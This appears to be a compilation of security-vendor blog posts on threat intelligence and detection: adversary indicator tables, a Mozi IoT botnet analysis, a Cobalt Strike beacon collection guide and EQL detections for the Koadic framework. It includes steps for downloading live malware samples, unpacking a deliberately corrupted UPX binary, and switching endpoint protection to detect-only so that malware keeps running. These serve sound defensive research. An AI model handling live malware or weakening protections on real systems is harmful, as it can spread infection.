sending email address | | issratech[.]com | domain-name | | Adversary controlled domain | | backsjoy[.]com | domain-name | | Adversary controlled domain | | leonei[.]com | domain-name | | Adversary controlled domain | | 2[.]56[.]59[.]105 | ipv4-addr | | IP address of issratech[.]com | | 212[.]192[.]241[.]173 | ipv4-addr | | IP address of backsjoy[.]com | | 52[.]128[.]23[.]153 | ipv4-addr | | IP address of leonei[.]com | | 104[.]244[.]78[.]177 | ipv4-addr | | Adversary controlled IP address |

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Detection and response for the actively exploited ProxyShell vulnerabilities

Daniel Stepanic,Andrew Pease — Thu, 02 Jun 2022 00:00:00 GMT

On August 21, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released an urgent notice related to the exploitation of ProxyShell vulnerabilities (CVE-2021-31207, CVE-2021-34473, CVE-2021-34523). By chaining these vulnerabilities together, threat actors are compromising unpatched Microsoft Exchange servers and gaining footholds into enterprise networks. Security vendors and researchers are also observing these attacks tied to post-exploitation behavior such as deploying ransomware to victim environments.

Elastic Security identified indicators of compromise (IoCs) indicating similar activity as reported by the industry. The details of this activity can be found in our Discuss forum, highlighting our perspective of what we have observed in our own telemetry.

Please visit the Discuss forum for full details on our identified IoCs.

Collecting and operationalizing threat data from the Mozi botnet

Andrew Pease,Seth Goodwin,Derek Ditch,Daniel Stepanic — Thu, 02 Jun 2022 00:00:00 GMT

Detecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.

The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was first reported by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.

As reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.

Mozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.

Collection

When performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.

To begin, we started with a handful of Mozi samples collected from ThreatFox. ThreatFox is an open source platform from Abuse.ch with the goal of sharing malware indicators with the security research community.

Using cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.

curl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ "query": "taginfo", "tag": "Mozi", "limit": 1 }'

Code block 1 - cURL request to ThreatFox API

-X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the ThreatFox API
https://threatfox-api.abuse.ch/api/v1/ - this is the ThreatFox API endpoint
-d - this is denoting that we’re going to be sending data
query: taginfo - the type of query that we’re making, taginfo in our example
tag: Mozi - the tag that we’ll be searching for, “Mozi” in our example
limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results

This returned the following information:

{
    "query_status": "ok",
    "data": [
        {
            "id": "115772",
            "ioc": "nnn.nnn.nnn.nnn:53822",
            "threat_type": "botnet_cc",
            "threat_type_desc": "Indicator that identifies a botnet command&control server (C&C)",
            "ioc_type": "ip:port",
            "ioc_type_desc": "ip:port combination that is used for botnet Command&control (C&C)",
            "malware": "elf.mozi",
            "malware_printable": "Mozi",
            "malware_alias": null,
            "malware_malpedia": "https:\/\/malpedia.caad.fkie.fraunhofer.de\/details\/elf.mozi",
            "confidence_level": 75,
            "first_seen": "2021-06-15 08:22:52 UTC",
            "last_seen": null,
            "reference": "https:\/\/bazaar.abuse.ch\/sample\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\/",
            "reporter": "abuse_ch",
            "tags": [
                "Mozi"
            ]
        }
    ]

Code block 2 - Response from ThreatFox API

Now that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).

Just like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (“Mozi”, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we’ll use later on for data enrichment.

curl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file&sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw

Code block 3 - cURL request to Malware Bazaar API

-X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the Malware Bazaar API
https://mb-api.abuse.ch/api/v1 - this is the Malware Bazaar API endpoint
-d - this is denoting that we’re going to be sending data
query: get_file - the type of query that we’re making, get_file in our example
sha256_hash - the SHA256 hash we’re going to be collecting, “832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b” in our example
-o - the file name we’re going to save the binary as

This will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we’ll use a shorter name for this file, truncated-87d3b.elf, for readability.

Unpacking

Now that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running Sysinternals Strings over our sample:

$ strings truncated-87d3b.elf
ELF
*UPX!
ELF
$Bw
(GT
...

Code block 3 - Strings output from the packed Mozi sample

Right away we see that we have a UPX packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the -d switch.

$ upx -d truncated-87d3b.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted

Code block 4 - UPX output from corrupted Mozi sample

Another road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a CUJOAI Anti-Unpacking blog explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.

Using this information, we cracked open our binary in xxd, a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).

$ xxd truncated-87d3b.elf
00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000  .ELF...a........
00000010: 0200 2800 0100 0000 1057 0200 3400 0000  ..(......W..4...
00000020: 0000 0000 0202 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000  ................
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600  .........z......
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000  ................
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17  .......RUPX!....
00000080: 0000 0000 0000 0000 0000 0000 9400 0000  ................
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261  ^.........ELF.ra
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07  ....(........4..
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009  .(...... .......
...

Code block 5 - HEX view of the corrupted Mozi sample

The CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).

$ xxd truncated-87d3b.elf
...
0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805  .......]9.G'..(.
0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e  .......'R..`..'>
0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000  ..X1`...........
0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308  UPX!....UPX!....
0001e100: 5199 6237 591c 321c d001 0000 b800 0000  Q.b7Y.2.........
0001e110: 7c2a 0400 5000 0011 8000 0000            |*..P.......

Code block 6 - p_info HEX data from the corrupted Mozi sample

First, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.

$ vim truncated-87d3b.elf
^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@<80>^@^@^@<80>^@^@^Mà^A^@^Mà^A^@^E^@^@^@^@<80>^@^@^A^@^@^@°z^@^@°ú^F^@°ú^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@<80>^@^@^Pñ<8f>RUPX!^\

Code block 7 - Corrupted Mozi sample in Vim

Using the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.

00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000  .ELF...a........
00000010: 0200 2800 0100 0000 1057 0200 3400 0000  ..(......W..4...
00000020: 0000 0000 0202 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000  ................
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600  .........z......
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000  ................
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17  .......RUPX!....
00000080: 0000 0000 0000 0000 0000 0000 9400 0000  ................
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261  ^.........ELF.ra
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07  ....(........4..
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009  .(...... .......

Code block 8 - Corrupted Mozi sample in Vim with XXD plugin

Next, we can just update bytes 0x84 - 0x8b(that we identified as having the zero’d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).

00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000  ....|*..|*......

Code block 9 - Updated p_filesize and p_blocksize HEX values

Let’s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).

Finally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.

$ upx -d truncated-87d3b.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    273020 <-    123165   45.11%    linux/arm    truncated-87d3b.elf
Unpacked 1 file.

Code block 10 - Successfully unpacked Mozi sample

We now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the file command.

$ file truncated-87d3b.elf
truncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

Code block 11 - File type identification of the Mozi sample

Now, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).

$ strings truncated-87d3b.elf
...
iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --destination-port %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
iptables -I INPUT  -p udp --dport %d -j ACCEPT
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --dport %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
0.0.0.0
[idp]
This node doesn't accept announces
v2s
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
nnn.nnn.nnn.nnn:6881
abc.abc.abc.abc:6881
xxx.xxx.xxx.xxx:6881
yyy.yyy.yyy.yyy:6881
NfZ
Oo~Mn
g5=
N]%
Range: bytes=
User-Agent:
...

Code block 12 - Strings output from the unpacked Mozi sample

Running Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.

Next, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.

Storing threat data in the Elastic Stack

Looking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.

For the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.

Create the Ingest Node Pipeline

We're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.

| | | | ---------------------------- | --------------------------------------------------------------- | | ThreatFox field | ECS-style field | | id | event.id | | ioc | threat.indicator.ip and threat.indicator.port | | threat_type | threat.software.type | | threat_type_desc | threat.indicator.description | | ioc_type | threat.indicator.type. Set threat.indicator.type to "ipv4-addr" | | malware | threat.software.name | | malware_printable | threat.threatfox.malware_printable | | malware_alias | threat.software.alias (if non-null) | | malware_malpedia | threat.software.reference | | confidence_level | threat.indicator.confidence | | first_seen | threat.indicator.first_seen | | last_seen | threat.indicator.last_seen | | reference | event.reference | | reporter | event.provider | | tags | tags | | | threat.indicator.geo. Enriched by our geoip processor. | | | file.hash.sha256 and related.hash | | | related.ip |

Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data

To create the pipeline, go to Kibana Stack Management -> Ingest Node Pipelines , then click Create pipeline.

Next, we’ll give our pipeline a name, optionally a version, and a description.

From this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the ThreatFox pipeline definition here you can paste in.

Click Import processors and paste the contents of this pipeline definition: pipeline.json.

When you click Load and overwrite , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click Create pipeline.

Alternatively, if you’d like to use a turnkey approach, the collection.sh script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.

$ git clone https://github.com/elastic/examples
$ cd examples/blog/mozin-about
$ sh collection.sh

Code block 13 - Using the Mozi sample collection script

Using the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.

Figure 3 - ThreatFox data in Kibana

Analysis

Now that we’ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.

As a few quick examples, we can identify some ports that are used and countries that are included in the dataset.

Let’s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on Visualization Library → Create visualization → Lens. We can make a simple donut chart to highlight that the threat.indicator.port of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.

Of note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.

Next, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type.

Similar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.

This is useful information we can make the following analytical assertions based on our sampling:

Mozi botnet is currently active and maintaining steady infection rates
Port 6000 is a dominant port used for command & control
At least 24 countries impacted suggests global threat with no specific targeting
Clusters of specific ASNs in Bulgaria and India stand out with highest volumes

As the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.

Exploring the propagation mechanism

In the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.

One thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.

curl -I nnn.nnn.nnn.nnn:53822
HTTP/1.1 200 OK
Server: nginx
Content-Length: 132876
Connection: close
Content-Type: application/zip

Code block 14 - HTTP response from a compromised device

Based on the observed response back, we can pull back some interesting information such as:

The use of an NGINX web server
No HTTP Date Header provided
The size of the file returned is close to 133 kilobytes

With this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like Shodan, we can perform a search using the information obtained in the HTTP response. We’ll wildcard the Content-Length but use the same order for all of the HTTP response elements:

HTTP/1.1 200 OK Server: nginx Content-Length: * Connection: close Content-Type: application/zip

Code block 15 - HTTP header for Mozi propagation

We can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines. Below are a few examples from a Shodan search:

Other search examples over response data could be used as well such as the actual bytes of the malicious Mozi file that was returned in the response.

Mitigation

The Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits and outdated software versions. To defend devices from exploitation, we recommend:

Changing the device default remote access passphrases
Updating devices to the latest firmware and software version supported by the vendor
Segmenting IoT devices from the rest of your internal network
Not making IoT devices accessible from the public Internet

Detection logic

Using YARA, we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples. There are a litany of other obfuscation and anti-analysis techniques that could be used with other samples. MITRE ATT&CK® describes additional subtechniques for the Obfuscated Files or Information technique from the Defense Evasion tactic.As noted above, the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the “UPX!” magic bytes, and the 4 bytes before that are always zero, so let's use a YARA signature derived from the work by Lars Wallenborn (expanded for readability).

rule Mozi_Obfuscation_Technique
{
  meta:
    author =  "Elastic Security, Lars Wallenborn (@larsborn)"
    description = "Detects obfuscation technique used by Mozi botnet."
  strings:
    $a = { 55 50 58 21
           [4]
           00 00 00 00
           00 00 00 00
           00 00 00 00 }
  condition:
    all of them
}

Code block 16 - YARA signature detecting Mozi obfuscation

55 50 58 21 - identifies the UPX magic bytes
[4] - offset by 4 bytes, the l_lsize, l_version & l_format
00 00 00 00 - identifies the program header ID
00 00 00 00 - identifies the zero’d out p_filesize
00 00 00 00 - identifies the zero’d out p_blocksize
condition - requires that all of the above strings exist for a positive YARA signature match

The above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, p_filesize, and p_blocksize elements zero’d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.

Summary

The Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019.

We covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.

Additional resources

Blog artifacts and scripts, Elastic: https://github.com/elastic/examples/tree/master/blog/mozin-about
ThreatFox Indicator of Compromise Database, Abuse.ch: https://threatfox.abuse.ch/browse
UPX Anti-Unpacking Techniques in IoT Malware, CUJOAI: https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware
Corrupted UPX Packed ELF Repair, vcodispot.com: https://vcodispot.com/corrupted-upx-packed-elf-repair
UPX PACKED ELF BINARIES OF THE PEER-TO-PEER BOTNET FAMILY MOZI, Lars Wallenborn: https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi
Mozi, Another Botnet Using DHT, 360 Netlab: https://blog.netlab.360.com/mozi-another-botnet-using-dht
Mozi Botnet Accounts for Majority of IoT Traffic, Tara Seals: https://threatpost.com/mozi-botnet-majority-iot-traffic/159337
New Mozi P2P Botnet Takes Over Netgear, D-Link, Huawei Routers, Sergiu Gatlan: https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers
Kibana Maps, Elastic: https://www.elastic.co/guide/en/kibana/current/maps.html
Kibana Lens, Elastic: https://www.elastic.co/guide/en/kibana/current/lens.html

Collecting Cobalt Strike Beacons with the Elastic Stack

Derek Ditch,Daniel Stepanic,Seth Goodwin,Andrew Pease — Wed, 01 Jun 2022 00:00:00 GMT

Overview

Cobalt Strike is a premium offensive security tool leveraged by penetration testers and red team members as a way to emulate adversary behavior. The goal is to validate security detection capabilities and processes replicating a real-world intrusion. While Cobalt Strike is a legitimate tool, it is often abused by actual threat actors as a way to gain and maintain persistence into targeted networks.

To manage command and control, Cobalt Strike leverages an implant that uses beacon configuration known as a Malleable Command and Control (Malleable C2) profile. A Malleable C2 profile contains a tremendous number of options to configure the beacon’s functionality, please see Cobalt Strike’s official documentation for specifics on configuring Malleable C2 beacons.

This blog will focus on using the Elastic Stack to collect Cobalt Strike beacon payloads, extract and parse the beacon configurations, and an analysis of the metadata within the configurations. This will all be taken from the memory of targeted Windows endpoints that we’ve collected from our telemetry.

The Fleet Policy

Fleet is an app in Kibana that provides a central place to configure and monitor your Elastic Agents. Fleet uses integrations, which are unified plugins that allow data to be collected from apps and services, and then stored in Elasticsearch. Integrations are added to policies, and Elastic Agents are added to policies.

First, we need to configure the collection of shellcode and malicious memory regions in a Fleet policy. This will collect 4MB of data from memory surrounding shellcode and malicious memory events. It should be noted that this collection may significantly increase the amount of data stored in Elasticsearch.

You can add this to an existing policy or create a new policy. To create a new policy, in Kibana, navigate to Fleet → Agent Policies → Create agent policy. Give your policy a name and description. Optionally, you can disable “System monitoring” and “Agent monitoring” to reduce the amount of system and agent metadata collected from your endpoints. Click on “Create agent policy”.

Next, click on your new policy and click the “Add integration button.

Finally, we’re going to add the memory and shellcode collection options. Click on the integration name (“Endpoint Security”).

Under “Protections”, leave the different protection types selected, but change the Protection level from “Prevent” to “Detect”. This will allow malware to continue to run to allow for more rich event collection. There are several types of Protections (Malware, Memory, etc.), select “Detect” for each type that has Windows as an available “Operating system”; you can uncheck Mac and Linux Operating Systems. If you are enabling this feature for a production environment, leave the Protection levels as “Prevent”

At the bottom of the integration configuration page, you can toggle “Register as antivirus” so that the Elastic Agent is registered as the Antivirus solution, and disable Windows Defender. Click on “Show advanced settings”.

At the very bottom of the advanced settings page, type “true” for the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings, and then click “Save integration”.

Once you have created this specific Fleet policy, you can apply this policy to an endpoint running the Elastic Agent. For specific instructions on how to deploy the Elastic Agent, refer to the official Elastic documentation.

Collecting the Beacon

Now that we’ve made a collection policy and applied it to a Windows machine you can target it with a CobaltStrike campaign. Instead of mimicking what a CobaltStrike beacon could look like in a lab, we’re going to use live CobaltStrike beacon payloads from Elastic’s telemetry.

To find Cobalt Strike beacon payloads, you can use the Discover app in Kibana to return events identified as Cobalt Strike. These events are provided by the Elastic Endpoint Security Agent, which identifies Cobalt Strike beacons and modules with the “Windows.Trojan.CobaltStrike” malware signature. A simple Kibana Query Language (KQL) search is as simple as:

KQL search for Cobalt Strike

event.category:(malware or intrusion_detection) and
rule.name:(Windows.Trojan.CobaltStrike or Windows.Trojan.Cobaltstrike)

Next, let’s filter on documents that have the process.Ext.memory_region.bytes_compressed field (this is a field populated by the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings we configured in the Fleet policy above). To do that we can simply add a filter for the process.Ext.memory_region.bytes_compressed_present field with a value of true.

Finally, add the process.Ext.memory_region.bytes_compressed field to our view so that we can see the value of the field.

We can see that we have 133 examples with data in the process.Ext.memory_region.bytes_compressed field. This field contains the file extracted from the memory of the infected host and then zlib deflated and Base64 encoded.

Now that we’ve collected the file in the Elastic Stack, let’s turn that raw data into a file that we can analyze.

There is a lot of nuance between operating systems on how to decode Base64 and inflate zlib deflated files. If you’d prefer to use your command line or local tools, feel free to do so. That said, CyberChef is a browser-based data parser that is provided for free by the United Kingdom’s Government Communications Headquarters (GCHQ).

Using the CyberChef web application, add the “From Base64” and “Zlib Inflate” recipesand then paste the contents of the process.Ext.memory_region.bytes_compressed field into the ).

Click on the disk icon to download the inflated binary.

Running the file command, we can see that this is a Portable Executable (PE) file that can be analyzed by a malware reverse engineer (RE).

Using the file command to validate the file type

$ file beacon.exe

beacon.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

While an RE can identify a tremendous amount of information, let’s explore what additional information a non-RE can obtain from this file.

Next Steps

In the next release, we’ll use the beacon that we’ve just collected and extract its configuration. With this information, we’ll be able to identify other important elements such as license identifications, watermarks, and atomic indicators.

Embracing offensive tooling: Building detections against Koadic using EQL

Daniel Stepanic — Wed, 01 Jun 2022 00:00:00 GMT

This year at BSidesDFW, my local security conference, I highlighted a continuing trend of adversaries using open source offensive tools. The talk reviewed one of these post-exploitation frameworks named Koadic and walked through different ways defenders can build behavioral detections through the use of Event Query Language (EQL). In this post, I wanted to review this research by providing background into Koadic and its features, why it’s relevant, and then dive into some EQL examples where I will share different detection strategies against the Koadic framework.

Adversaries continue to adopt open source attack frameworks as part of their toolset. By using these off-the-shelf tools, attackers are able to complete their objectives while reducing their development costs and present attribution problems for incident responders. These tools challenge traditional investigative techniques by creating the idea of plausible deniability and leave fewer toolmarks that can be traced back to an adversary. Even with strong threat intelligence capabilities and proper defensive visibility, it’s not always an easy task to differentiate red team operations from real adversary behavior — especially in the early phases of an attack.

As defenders, we are required to actively monitor offensive open source projects. These projects serve as canaries in a coal mine, giving us an opportunity to gain insights into new attacker tradecraft. Not only does this get us into an attacker mindset, but all the code is freely available for emulation and review. Some different ways to get value from dissecting these tools can be through validating your detection capabilities, generating new analytics, developing threat hunting hypotheses, or by simply transferring knowledge around an underlying behavior.

Why Koadic?

Koadic is a great candidate to demonstrate behavior-based detections due its interesting way of leveraging technologies built into the Windows OS — such as Windows Script Host (WSH) and the Component Object Model (COM). COM and WSH fall into the general category of “living off the land” tools, which allow adversaries to proxy the execution of their toolset through built-in Windows programs.

This can be very desirable from an attacker’s standpoint, as it allows them to blend in better within the network while producing less of a forensic footprint — rather than dropping and executing a file on disk. COM and WSH are particularly attractive to attackers because of a lack of robust, built-in logging capabilities in contrast to tools like PowerShell (for which Windows has added extensive logging capabilities in newer versions). Koadic is good enough for mature threat groups such as APT28 and has received frequent updates over the last couple years.

Koadic overview & features

EQL

Some of the more exciting parts of my job as a practitioner come when writing behavioral detections using EQL. This process brings out my inner detective skills that I find to be fulfilling and challenging at the same time. The language enables practitioners to go beyond matching static values such as Indicators of Compromise (IoCs) to a much more comprehensive and flexible way to detect adversary behaviors. With the ability to leverage features like time-bound sequencing or track process lineage, more options are opened up to us as defenders to build reliable and lasting detections.

I find this to be rewarding, as I can directly apply my previous SOC work experience around host-based forensics into a much more dynamic detection that holds up against the latest attacker tradecraft. The best part is that EQL has a very simple syntax with a short learning curve, so if you aren’t able to adopt EQL today, hopefully the logic within these queries can be applied to your current solution.

For a quick recap into the language itself and its core capabilities, I recommend reviewing our previous blog post: Introducing Event Query Language. In summary, EQL is a schema-independent and OS-agnostic language built for real-time detection with stream processing. It supports multiple-event behaviors and also offers post-processing commands used to analyze large amounts of data. With that background, let’s start diving into some of the different ways to detect Koadic using EQL.

Initial access

Spearphishing Attachment (T1193)

Validating parent-child process relationships continues to be a fruitful technique for hunting and building detections. As attacker activity becomes more evasive, however, we also have a need for flexibility as defenders. This first example shows off the value of tracking process ancestry using EQL’s descendant function, which lets us maintain state and track full process genealogy. This is an important concept because it goes beyond the typical parent-child process paradigm that many languages are limited to.

By tracking further descendant processes, defenders have the ability to follow process chains infinitely down the process tree. This provides more freedom in how we can express suspicious behavior together while also allowing tighter controls around process ancestry.

Descendant process tree visualization (APT28)

This process chain comes from a sample reported by Palo Alto Networks in June 2018 associated with APT28 activity. In this EQL expression, we are monitoring all descendant processes of our email client (Outlook.exe) and only looking for new process creation events tied to Mshta. This allows us to focus on the initial attack vector (Spearphishing email) and then filter on Windows programs being used to execute attacker code. This is a great foundation for strong analytics — if we wanted to create something more robust, we could build out a longer array of cohorts associated with initial compromise stages, as well as add the entire Microsoft Office suite as descendants.

Initial access & execution - Spearphishing example

EQL query:

process where process_name == "mshta.exe" and descendant of
[process where process_name == "outlook.exe"]

Defense evasion/execution

Mshta (T1170), Rundll32 (T1085)

Tools like Koadic often include some usability features that help facilitate payload building, also known as stagers. These small pieces of code get executed on the victim machine and are used to establish a network connection back to the attacker in order to bring in a staged payload for execution. Stagers represent a significant portion of the early phases of the intrusion process. The following example continues exploring the detection strategy for a variety of Windows utilities used to proxy execution with Koadic stagers.

